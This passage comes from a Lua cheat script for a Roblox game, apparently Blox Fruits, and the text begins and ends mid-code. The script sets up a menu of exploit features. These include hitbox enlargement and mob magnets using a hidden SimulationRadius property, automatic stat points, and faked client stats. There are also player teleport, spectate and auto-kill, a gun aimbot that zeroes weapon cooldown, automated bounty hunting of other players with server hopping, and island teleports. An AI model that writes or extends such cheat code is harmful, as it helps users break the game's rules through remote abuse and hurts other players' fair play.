                                    v.Humanoid:ChangeState(14)
                                    v.HumanoidRootPart.CanCollide = false
                                    v.Head.CanCollide = false
                                    v.HumanoidRootPart.CFrame = PosMonMasteryGun
                                    if v.Humanoid:FindFirstChild("Animator") then
                                        v.Humanoid.Animator:Destroy()
                                    end
                                    sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                                end
                            elseif v.Name == Mon then
                                if (v.HumanoidRootPart.Position - PosMonMasteryGun.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                    v.Humanoid:ChangeState(14)
                                    v.HumanoidRootPart.CanCollide = false
                                    v.Head.CanCollide = false
                                    v.HumanoidRootPart.CFrame = PosMonMasteryGun
                                    if v.Humanoid:FindFirstChild("Animator") then
                                        v.Humanoid.Animator:Destroy()
                                    end
                                    sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                                end
                            end
                        end
                        if _G.Auto_Bone and StartMagnetBoneMon then
                            if (v.Name == "Reborn Skeleton [Lv. 1975]" or v.Name == "Living Zombie [Lv. 2000]" or v.Name == "Demonic Soul [Lv. 2025]" or v.Name == "Posessed Mummy [Lv. 2050]") and (v.HumanoidRootPart.Position - PosMonBone.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                v.HumanoidRootPart.CFrame = PosMonBone
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                        if _G.AutoFarmCandy and StartCandyMagnet then
                            if (v.Name == "Ice Cream Chef [Lv. 2125]" or v.Name == "Ice Cream Commander [Lv. 2150]") and (v.HumanoidRootPart.Position - CandyMon.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                v.HumanoidRootPart.CFrame = CandyMon
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                        if _G.AutoDoughtBoss and MagnetDought then
                            if (v.Name == "Cookie Crafter [Lv. 2200]" or v.Name == "Cake Guard [Lv. 2225]" or v.Name == "Baking Staff [Lv. 2250]" or v.Name == "Head Baker [Lv. 2275]") and (v.HumanoidRootPart.Position - PosMonDoughtOpenDoor.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                v.HumanoidRootPart.CFrame = PosMonDoughtOpenDoor
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                            if _G.AutoCandy and StartMagnetCandy then
                            if (v.HumanoidRootPart.Position - PosMonCandy.Position).Magnitude <= 250 and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                v.Humanoid:ChangeState(14)
                                v.HumanoidRootPart.CanCollide = false
                                v.Head.CanCollide = false
                                v.HumanoidRootPart.CFrame = PosMonCandy
                                if v.Humanoid:FindFirstChild("Animator") then
                                    v.Humanoid.Animator:Destroy()
                                end
                                sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)
                            end
                        end
                    end
                end
            end)
        end
    end)

Ss:Toggle("Melee",false,function(Value)
melee = Value    
end)
Ss:Toggle("Defense",false,function(value)
defense = value
end)
Ss:Toggle("Sword",false,function(value)
sword = value
end)
Ss:Toggle("Gun",false,function(value)
gun = value
end)
Ss:Toggle("Devil Fruit",false,function(value)
demonfruit = value
end)

PointStats = 1
Ss:Slider("Point",1,100,PointStats,nil,function(value)
PointStats = value
end)

spawn(function()
		while wait() do
			if game.Players.localPlayer.Data.Points.Value >= PointStats then
				if melee then
					local args = {
						[1] = "AddPoint",
						[2] = "Melee",
						[3] = PointStats
					}
					game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
				end 
				if defense then
					local args = {
						[1] = "AddPoint",
						[2] = "Defense",
						[3] = PointStats
					}
					game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
				end 
				if sword then
					local args = {
						[1] = "AddPoint",
						[2] = "Sword",
						[3] = PointStats
					}
					game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
				end 
				if gun then
					local args = {
						[1] = "AddPoint",
						[2] = "Gun",
						[3] = PointStats
					}
					game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
				end 
				if demonfruit then
					local args = {
						[1] = "AddPoint",
						[2] = "Demon Fruit",
						[3] = PointStats
					}
					game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
				end
			end
		end
	end)
	
	Ss:Seperator("Fake Mode")
	
	Ss:Textbox("Fake Level",true,function(value)
        game:GetService("Players").LocalPlayer.Data.Level.Value = value
    end)
    Ss:Textbox("Fake Exp",true,function(value)
        game:GetService("Players").LocalPlayer.Data.Exp.Value = value
    end)
    Ss:Textbox("Fake Beli",true,function(value)
        game:GetService("Players").LocalPlayer.Data.Beli.Value = value
    end)
    Ss:Textbox("Fake Points",true,function(value)
        game:GetService("Players").LocalPlayer.Data.Points.Value = value
    end)
    Ss:Textbox("Fake Bounty",true,function(value)
        game:GetService("Players").LocalPlayer.leaderstats["Bounty/Honor"].Value = value
    end)
    
    local plyserv = P:Label("Players")

    

    spawn(function()
        while wait() do
            pcall(function()
                for i,v in pairs(game:GetService("Players"):GetPlayers()) do
                    if i == 12 then
                        plyserv:Set("Players :".." "..i.." ".."/".." ".."12".." ".."(Max)")
                    elseif i == 1 then
                        plyserv:Set("Player :".." "..i.." ".."/".." ".."12")
                    else
                        plyserv:Set("Players :".." "..i.." ".."/".." ".."12")
                    end
                end
            end)
        end
    end)
    
    Playerslist = {}
    
    for i,v in pairs(game:GetService("Players"):GetChildren()) do
        table.insert(Playerslist,v.Name)
    end
    
    local SelectedPly = P:Dropdown("Select Players",Playerslist,function(value)
        _G.SelectPly = value
    end)
    
    P:Button("Refresh Player",function()
        Playerslist = {}
        SelectedPly:Clear()
        for i,v in pairs(game:GetService("Players"):GetChildren()) do  
            SelectedPly:Add(v.Name)
        end
    end)
    
    P:Toggle("Spectate Player",false,function(value)
        SpectatePlys = value
        local plr1 = game:GetService("Players").LocalPlayer.Character.Humanoid
        local plr2 = game:GetService("Players"):FindFirstChild(_G.SelectPly)
        repeat wait(.1)
            game:GetService("Workspace").Camera.CameraSubject = game:GetService("Players"):FindFirstChild(_G.SelectPly).Character.Humanoid
        until SpectatePlys == false 
        game:GetService("Workspace").Camera.CameraSubject = game:GetService("Players").LocalPlayer.Character.Humanoid
    end)
    
    P:Toggle("Teleport",false,function(value)
        _G.TeleportPly = value
        pcall(function()
            if _G.TeleportPly then
                repeat topos(game:GetService("Players")[_G.SelectPly].Character.HumanoidRootPart.CFrame) wait() until _G.TeleportPly == false
            end
            StopTween(_G.TeleportPly)
        end)
    end)
    
    P:Toggle("Auto Farm Player",false,function(value)
        _G.Auto_Kill_Ply = value
        StopTween(_G.Auto_Kill_Ply)
    end)
    
    spawn(function()
        while wait() do
            if _G.Auto_Kill_Ply then
                pcall(function()
                    if _G.SelectPly ~= nil then 
                        if game.Players:FindFirstChild(_G.SelectPly) then
                            if game.Players:FindFirstChild(_G.SelectPly).Character.Humanoid.Health > 0 then
                                repeat task.wait()
                                    EquipWeapon(_G.SelectWeapon)
                                    AutoHaki()
                                    game.Players:FindFirstChild(_G.SelectPly).Character.HumanoidRootPart.CanCollide = false
                                    topos(game.Players:FindFirstChild(_G.SelectPly).Character.HumanoidRootPart.CFrame * CFrame.new(0,35,0))
                                    spawn(function()
                                        pcall(function()
                                            if _G.SelectWeapon == SelectWeaponGun then
                                                local args = {
                                                    [1] = game.Players:FindFirstChild(_G.SelectPly).Character.HumanoidRootPart.Position,
                                                    [2] = game.Players:FindFirstChild(_G.SelectPly).Character.HumanoidRootPart
                                                }
                                                game:GetService("Players").LocalPlayer.Character[SelectWeaponGun].RemoteFunctionShoot:InvokeServer(unpack(args))
                                            else
                                                game:GetService("VirtualUser"):CaptureController()
                                                game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                            end
                                        end)
                                    end)
                                until game.Players:FindFirstChild(_G.SelectPly).Character.Humanoid.Health <= 0 or not game.Players:FindFirstChild(_G.SelectPly) or not _G.Auto_Kill_Ply
                            end
                        end
                    end
                end)
            end
        end
    end)
    
    P:Seperator("Quest Player")
    
    P:Button("Auto Quest Player",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("PlayerHunter")
    end)

    
    P:Seperator("Aimbot")
     
    spawn(function()
        while wait() do
            pcall(function()
                local MaxDistance = math.huge
                for i,v in pairs(game:GetService("Players"):GetPlayers()) do
                    if v.Name ~= game:GetService("Players").LocalPlayer.Name then
                        local Distance = v:DistanceFromCharacter(game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position)
                        if Distance < MaxDistance then
                            MaxDistance = Distance
                            PlayerSelectAimbot = v.Name
                        end
                    end
                end
            end)
        end
    end)
    
    P:Toggle("Aimbot Gun",false,function(value)
        _G.Aimbot_Gun = value
    end)
    
    spawn(function()
        while task.wait() do
            if _G.Aimbot_Gun and game:GetService("Players").LocalPlayer.Character:FindFirstChild(SelectWeaponGun) then
                pcall(function()
                    game:GetService("Players").LocalPlayer.Character[SelectWeaponGun].Cooldown.Value = 0
                    local args = {
                        [1] = game:GetService("Players"):FindFirstChild(PlayerSelectAimbot).Character.HumanoidRootPart.Position,
                        [2] = game:GetService("Players"):FindFirstChild(PlayerSelectAimbot).Character.HumanoidRootPart
                    }
                    game:GetService("Players").LocalPlayer.Character[SelectWeaponGun].RemoteFunctionShoot:InvokeServer(unpack(args))
                    game:GetService'VirtualUser':CaptureController()
                    game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                end)
            end
        end
    end)
    
    P:Toggle("Aimbot Skill",false,function(value)
        _G.Aimbot_Skill = value
    end)
    
    spawn(function()
        pcall(function()
            while task.wait() do
                if _G.Aimbot_Skill and PlayerSelectAimbot ~= nil and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") and game.Players.LocalPlayer.Character[game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Name]:FindFirstChild("MousePos") then
                    local args = {
                        [1] = game:GetService("Players"):FindFirstChild(PlayerSelectAimbot).Character.HumanoidRootPart.Position
                    }
                    
                    game:GetService("Players").LocalPlayer.Character:FindFirstChild(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Name).RemoteEvent:FireServer(unpack(args))
                end
            end
        end)
    end)
    
    P:Seperator("PvP")
    
    P:Toggle("Enabled PvP",false,function(value)
        _G.EnabledPvP = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.EnabledPvP then
                    if game:GetService("Players").LocalPlayer.PlayerGui.Main.PvpDisabled.Visible == true then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("EnablePvp")
                    end
                end
            end
        end)
    end)
    
    P:Toggle("Safe Mode",false,function(value)
        _G.Safe_Mode = value
        StopTween(_G.Safe_Mode)
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.Safe_Mode then
                    game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame
                end
            end
        end)
    end)
    
    P:Button("Respawn",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("SetTeam","Pirates") 
        wait()
    end)
    
    P:Seperator("Bounty")
    
    local Current = P:Label("Current Bounties :")
    
    local Bounty = tostring(game:GetService("Players").LocalPlayer.leaderstats["Bounty/Honor"].Value)
    local sub = string.sub 
    local len = string.len
    spawn(function()
        while wait() do
            pcall(function()
                if len(Bounty) == 4 then
                    Bounty1 = sub(Bounty,1,1).."."..sub(Bounty,2,3).."K"
                elseif len(Bounty) == 5 then
                    Bounty1 = sub(Bounty,1,2).."."..sub(Bounty,3,4).."K"
                elseif len(Bounty) == 6 then
                    Bounty1 = sub(Bounty,1,3).."."..sub(Bounty,4,5).."K"
                elseif len(Bounty) == 7 then
                    Bounty1 = sub(Bounty,1,1).."."..sub(Bounty,2,3).."M"
                elseif len(Bounty) == 8 then
                    Bounty1 = sub(Bounty,1,2).."."..sub(Bounty,3,4).."M"
                elseif len(Bounty) <= 3 then
                    Bounty1 = Bounty
                end
                if tonumber(Bounty) == 25000000 then
                    Current:Set("Current Bounties : "..Bounty1.." [ Max ]")
                elseif tonumber(Bounty) < 25000000 then
                    Current:Set("Current Bounties : "..Bounty1)
                end
            end)
        end
    end)
    
    local Earn = P:Label("Earned")
    local OldBounty = game:GetService("Players").LocalPlayer.leaderstats["Bounty/Honor"].Value
    local Bounty = tostring(game:GetService("Players").LocalPlayer.leaderstats["Bounty/Honor"].Value)
    local Earned = tostring(game:GetService("Players").LocalPlayer.leaderstats["Bounty/Honor"].Value - OldBounty)
    local sub = string.sub 
    local len = string.len
    spawn(function()
        while wait() do
            pcall(function()
                if len(Earned) == 4 then
                    Earned1 = sub(Earned,1,1).."."..sub(Earned,2,3).."K"
                elseif len(Earned) == 5 then
                    Earned1 = sub(Earned,1,2).."."..sub(Earned,3,4).."K"
                elseif len(Earned) == 6 then
                    Earned1 = sub(Earned,1,3).."."..sub(Earned,4,5).."K"
                elseif len(Earned) == 7 then
                    Earned1 = sub(Earned,1,1).."."..sub(Earned,2,3).."M"
                elseif len(Earned) == 8 then
                    Earned1 = sub(Earned,1,2).."."..sub(Earned,3,4).."M"
                elseif len(Earned) <= 3 then
                    Earned1 = Earned
                end
                Earn:Set("Earned : "..tonumber(Earned1))
            end)
        end
    end)
    
    P:Toggle("Auto Farm Bounty",_G.AutoFarmBounty,function(value)
        _G.AutoFarmBounty = value
        StopTween(_G.AutoFarmBounty)
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if _G.AutoFarmBounty then
                    for i,v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do
                        if v:IsA("Shirt") then
                            v:Destroy()
                        end
                        if v:IsA("Pants") then
                            v:Destroy()
                        end
                        if v:IsA("Accessory") then
                            v:Destroy()
                        end
                    end
                end
            end)
        end
    end)
    
    spawn(function()
        pcall(function()
            if _G.AutoFarmBounty then
                while wait() do
                    if game.Players.LocalPlayer.Character.Humanoid.Health > 0 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("SetSpawnPoint")
                    end
                end
            end
        end)
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if _G.AutoFarmBounty then
                    if not game:GetService("Players").LocalPlayer.Character:FindFirstChild("HasBuso") then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Buso")
                    end
                end
            end)
        end
    end)
    
    spawn(function()
        while task.wait() do
            pcall(function()
                if _G.AutoFarmBounty then
                    game:GetService("Players").LocalPlayer.Character[SelectWeaponGun].Cooldown.Value = 0
                    spawn(function()
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Beli.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.HP.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Energy.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.StatsButton.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.ShopButton.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Skills.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Level.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.MenuButton.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Code.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Settings.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Mute.Visible = false
                        game:GetService("Players")["LocalPlayer"].PlayerGui.Main.CrewButton.Visible = false
                        game.Players.LocalPlayer.Character.Animate.Disabled = true
                    end)
                end
            end)
        end
    end)
    CastlePostoMansion = CFrame.new(-5084.8447265625, 316.48101806641, -3145.3752441406)
    MansiontoCastlePos = CFrame.new(-12464.596679688, 376.30590820312, -7567.2626953125)
    Castletophydra = CFrame.new(-5095.33984375, 316.48101806641, -3168.3134765625)
    HydratoCastle = CFrame.new(5741.869140625, 611.94750976562, -282.61154174805)
    spawn(function()
        while wait() do
            pcall(function()
                if _G.AutoFarmBounty then
                    for i,v in pairs(game:GetService("Workspace").Characters:GetChildren()) do
                        if v.Name ~= game.Players.LocalPlayer.Name then
                            if v:WaitForChild("Humanoid").Health > 0 and (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - v.HumanoidRootPart.Position).Magnitude <= 17000 then
                                plyselecthunthelpold = v.Humanoid.Health
                                repeat task.wait()
                                    EquipWeapon(SelectWeaponGun)
                                    NameTarget = v.Name
                                    if tostring(game.Players.LocalPlayer.Team) == "Pirates" then
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(0,60,-20))
                                    elseif tostring(game.Players.LocalPlayer.Team) == "Marines" then
                                        if game.Players[NameTarget].Team ~= game.Players.LocalPlayer.Team then
                                            topos(v.HumanoidRootPart.CFrame * CFrame.new(0,60,-20))
                                        end
                                    end
                                    spawn(function()
                                        if (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 150 then
                                            StartCheckTarget = true
                                        end
                                    end)
                                    v.HumanoidRootPart.CanCollide = false
                                    spawn(function()
                                        pcall(function()
                                            local args = {
                                                [1] = v.HumanoidRootPart.Position,
                                                [2] = v.HumanoidRootPart
                                            }
                                            game:GetService("Players").LocalPlayer.Character[SelectWeaponGun].RemoteFunctionShoot:InvokeServer(unpack(args))
                                        end)
                                    end)
                                    TargetSelectHunt = v.Humanoid
                                until _G.AutoFarmBounty == false or v.Humanoid.Health == 0 or not v:FindFirstChild("HumanoidRootPart") or not v:FindFirstChild("Humanoid") or not v.Parent or NextplySelect == true
                                NextplySelect = false
                                StartCheckTarget = false
                            end
                        end
                    end
                end
            end)
        end
    end)
    
    spawn(function()
        pcall(function()
            while task.wait() do
                if _G.AutoFarmBounty then
                    game:GetService("Players").LocalPlayer.PlayerGui.Main.InCombat.Visible = false
                    game:GetService("Players").LocalPlayer.PlayerGui.Main.SafeZone.Visible = false
                end
            end
        end)
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoFarmBounty then
                    if TargetSelectHunt ~= nil then
                        if StartCheckTarget then
                            wait(6.5)
                            if TargetSelectHunt.Health == TargetSelectHunt.MaxHealth or TargetSelectHunt.Health >= plyselecthunthelpold then
                                NextplySelect = true
                                TargetSelectHunt = nil
                            end
                        end
                    end
                end
            end
        end)
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.AutoFarmBounty then
                    if game:GetService("Players").LocalPlayer.PlayerGui.Main.PvpDisabled.Visible == true then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("EnablePvp")
                    end
                end
            end
        end)
    end)
    
    P:Toggle("Auto Farm Bounty Hop",_G.AutoFarmBounty_Hop,function(value)
        _G.AutoFarmBounty_Hop = value
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoFarmBounty then
                if _G.AutoFarmBounty_Hop then
                    pcall(function()
                        wait(120)
                        Hop()
                    end)
                end
            end
        end
    end)
    
    P:Seperator("Bounty")
    
    P:Button("Next Player",function()
        NextplySelect = true
        wait(.1)
        NextplySelect = false
    end)
    
    P:Slider("Lock Bounty",1,25000000,750000,function(value)
        _G.BountyLock = value
    end)
    
    P:Toggle("Start Bounty Lock",false,function(value)
        _G.StartBountyLock = value
    end)
    
    spawn(function()
        while wait() do
            if _G.StartBountyLock then
                pcall(function()
                    if game:GetService("Players").LocalPlayer.leaderstats["Bounty/Honor"].Value >= _G.BountyLock then
                        game:GetService("Players").LocalPlayer:Kick("Successfully! Bounty Farm")
                    end
                end)
            end
        end
    end)
    
T:Seperator("World")
    
    T:Button("Teleport To Old World",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("TravelMain")
    end)
    
    T:Button("Teleport To Second Sea",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("TravelDressrosa")
    end)
    
    T:Button("Teleport To Third Sea",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("TravelZou")
    end)
    
    T:Button("Teleport to Seabeast",function()
        for i,v in pairs(game:GetService("Workspace").SeaBeasts:GetChildren()) do
            if v:FindFirstChild("HumanoidRootPart") then
                topos(v.HumanoidRootPart.CFrame*CFrame.new(0,100,0))
            end
        end
    end)
    
    T:Seperator("Island")
    
    if World1 then
        T:Dropdown("Select Island",{
            "WindMill",
            "Marine",
            "Middle Town",
            "Jungle",
            "Pirate Village",
            "Desert",
            "Snow Island",
            "MarineFord",
            "Colosseum",
            "Sky Island 1",
            "Sky Island 2",
            "Sky Island 3",
            "Prison",
            "Magma Village",
            "Under Water Island",
            "Fountain City",
            "Shank Room",
            "Mob Island"
            },function(value)
            _G.SelectIsland = value
        end)
    end
    
    if World2 then
        T:Dropdown("Select Island",{
            "The Cafe",
            "Frist Spot",
            "Dark Area",
            "Flamingo Mansion",
            "Flamingo Room",
            "Green Zone",
            "Factory",
            "Colossuim",
            "Zombie Island",
            "Two Snow Mountain",
            "Punk Hazard",
            "Cursed Ship",
            "Ice Castle",
            "Forgotten Island",
            "Ussop Island",
            "Mini Sky Island"
            },function(value)
            _G.SelectIsland = value
        end)
    end
    
    if World3 then
        T:Dropdown("Select Island",{
            "Mansion",
            "Port Town",
            "Great Tree",
            "Castle On The Sea",
            "MiniSky", 
            "Hydra Island",
            "Floating Turtle",
            "Haunted Castle",
            "Ice Cream Island",
            "Peanut Island",
            "Cake Island",
			"Chocolate Island"
            },function(value)
            _G.SelectIsland = value
        end)
    end
    
    T:Toggle("Teleport",false,function(value)
        _G.TeleportIsland = value
        if _G.TeleportIsland == true then
            repeat wait()
                if _G.SelectIsland == "WindMill" then
                    topos(CFrame.new(979.79895019531, 16.516613006592, 1429.0466308594))
                elseif _G.SelectIsland == "Marine" then
                    topos(CFrame.new(-2566.4296875, 6.8556680679321, 2045.2561035156))
                elseif _G.SelectIsland == "Middle Town" then
                    topos(CFrame.new(-690.33081054688, 15.09425163269, 1582.2380371094))
                elseif _G.SelectIsland == "Jungle" then
                    topos(CFrame.new(-1612.7957763672, 36.852081298828, 149.12843322754))
                elseif _G.SelectIsland == "Pirate Village" then
                    topos(CFrame.new(-1181.3093261719, 4.7514905929565, 3803.5456542969))
                elseif _G.SelectIsland == "Desert" then
                    topos(CFrame.new(944.15789794922, 20.919729232788, 4373.3002929688))
                elseif _G.SelectIsland == "Snow Island" then
                    topos(CFrame.new(1347.8067626953, 104.66806030273, -1319.7370605469))
                elseif _G.SelectIsland == "MarineFord" then
                    topos(CFrame.new(-4914.8212890625, 50.963626861572, 4281.0278320313))
                elseif _G.SelectIsland == "Colosseum" then
                    topos( CFrame.new(-1427.6203613281, 7.2881078720093, -2792.7722167969))
                elseif _G.SelectIsland == "Sky Island 1" then
                    topos(CFrame.new(-4869.1025390625, 733.46051025391, -2667.0180664063))
                elseif _G.SelectIsland == "Sky Island 2" then  
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-4607.82275, 872.54248, -1667.55688))
                elseif _G.SelectIsland == "Sky Island 3" then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-7894.6176757813, 5547.1416015625, -380.29119873047))
                elseif _G.SelectIsland == "Prison" then
                    topos( CFrame.new(4875.330078125, 5.6519818305969, 734.85021972656))
                elseif _G.SelectIsland == "Magma Village" then
                    topos(CFrame.new(-5247.7163085938, 12.883934020996, 8504.96875))
                elseif _G.SelectIsland == "Under Water Island" then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(61163.8515625, 11.6796875, 1819.7841796875))
                elseif _G.SelectIsland == "Fountain City" then
                    topos(CFrame.new(5127.1284179688, 59.501365661621, 4105.4458007813))
                elseif _G.SelectIsland == "Shank Room" then
                    topos(CFrame.new(-1442.16553, 29.8788261, -28.3547478))
                elseif _G.SelectIsland == "Mob Island" then
                    topos(CFrame.new(-2850.20068, 7.39224768, 5354.99268))
                elseif _G.SelectIsland == "The Cafe" then
                    topos(CFrame.new(-380.47927856445, 77.220390319824, 255.82550048828))
                elseif _G.SelectIsland == "Frist Spot" then
                    topos(CFrame.new(-11.311455726624, 29.276733398438, 2771.5224609375))
                elseif _G.SelectIsland == "Dark Area" then
                    topos(CFrame.new(3780.0302734375, 22.652164459229, -3498.5859375))
                elseif _G.SelectIsland == "Flamingo Mansion" then
                    topos(CFrame.new(-483.73370361328, 332.0383605957, 595.32708740234))
                elseif _G.SelectIsland == "Flamingo Room" then
                    topos(CFrame.new(2284.4140625, 15.152037620544, 875.72534179688))
                elseif _G.SelectIsland == "Green Zone" then
                    topos( CFrame.new(-2448.5300292969, 73.016105651855, -3210.6306152344))
                elseif _G.SelectIsland == "Factory" then
                    topos(CFrame.new(424.12698364258, 211.16171264648, -427.54049682617))
                elseif _G.SelectIsland == "Colossuim" then
                    topos( CFrame.new(-1503.6224365234, 219.7956237793, 1369.3101806641))
                elseif _G.SelectIsland == "Zombie Island" then
                    topos(CFrame.new(-5622.033203125, 492.19604492188, -781.78552246094))
                elseif _G.SelectIsland == "Two Snow Mountain" then
                    topos(CFrame.new(753.14288330078, 408.23559570313, -5274.6147460938))
                elseif _G.SelectIsland == "Punk Hazard" then
                    topos(CFrame.new(-6127.654296875, 15.951762199402, -5040.2861328125))
                elseif _G.SelectIsland == "Cursed Ship" then
                    topos(CFrame.new(923.40197753906, 125.05712890625, 32885.875))
                elseif _G.SelectIsland == "Ice Castle" then
                    topos(CFrame.new(6148.4116210938, 294.38687133789, -6741.1166992188))
                elseif _G.SelectIsland == "Forgotten Island" then
                    topos(CFrame.new(-3032.7641601563, 317.89672851563, -10075.373046875))
                elseif _G.SelectIsland == "Ussop Island" then
                    topos(CFrame.new(4816.8618164063, 8.4599885940552, 2863.8195800781))
                elseif _G.SelectIsland == "Mini Sky Island" then
                    topos(CFrame.new(-288.74060058594, 49326.31640625, -35248.59375))
                elseif _G.SelectIsland == "Great Tree" then
                    topos(CFrame.new(2681.2736816406, 1682.8092041016, -7190.9853515625))
                elseif _G.SelectIsland == "Castle On The Sea" then
                    topos(CFrame.new(-5074.45556640625, 314.5155334472656, -2991.054443359375))
                elseif _G.SelectIsland == "MiniSky" then
                    topos(CFrame.new(-260.65557861328, 49325.8046875, -35253.5703125))
                elseif _G.SelectIsland == "Port Town" then
                    topos(CFrame.new(-290.7376708984375, 6.729952812194824, 5343.5537109375))
                elseif _G.SelectIsland == "Hydra Island" then
                    topos(CFrame.new(5228.8842773438, 604.23400878906, 345.0400390625))
                elseif _G.SelectIsland == "Floating Turtle" then
                    topos(CFrame.new(-13274.528320313, 531.82073974609, -7579.22265625))
                elseif _G.SelectIsland == "Mansion" then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-12471.169921875, 374.94024658203, -7551.677734375))
                elseif _G.SelectIsland == "Haunted Castle" then
                    topos(CFrame.new(-9515.3720703125, 164.00624084473, 5786.0610351562))
                elseif _G.SelectIsland == "Ice Cream Island" then
                    topos(CFrame.new(-902.56817626953, 79.93204498291, -10988.84765625))
                elseif _G.SelectIsland == "Peanut Island" then
                    topos(CFrame.new(-2062.7475585938, 50.473892211914, -10232.568359375))
                elseif _G.SelectIsland == "Cake Island" then
                    topos(CFrame.new(-1884.7747802734375, 19.327526092529297, -11666.8974609375))
                  elseif _G.SelectIsland == "Chocolate Island" then
                    topos(CFrame.new(290.2434387207031, 28.333648681640625, -12708.8173828125))
      
			    end
            until not _G.TeleportIsland
        end
        StopTween(_G.TeleportIsland)
    end)
    
    local TimeRaid = R:Label("Wait For Dungeon")
    
    spawn(function()
        pcall(function()
            while wait() do
                if game:GetService("Players").LocalPlayer.PlayerGui.Main.Timer.Visible == true then
                    TimeRaid:Set(game:GetService("Players").LocalPlayer.PlayerGui.Main.Timer.Text)
                else
                    TimeRaid:Set("Wait For Dungeon")
                end
            end
        end)
    end)
    
        R:Toggle("Auto Farm Dungeon",_G.Auto_Dungeon,function(value)
        _G.Auto_Dungeon = value
        StopTween(_G.Auto_Dungeon)
    end)
    
    spawn(function()
        pcall(function() 
            while wait() do
                if _G.Auto_Dungeon then
                    if game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Timer.Visible == true then
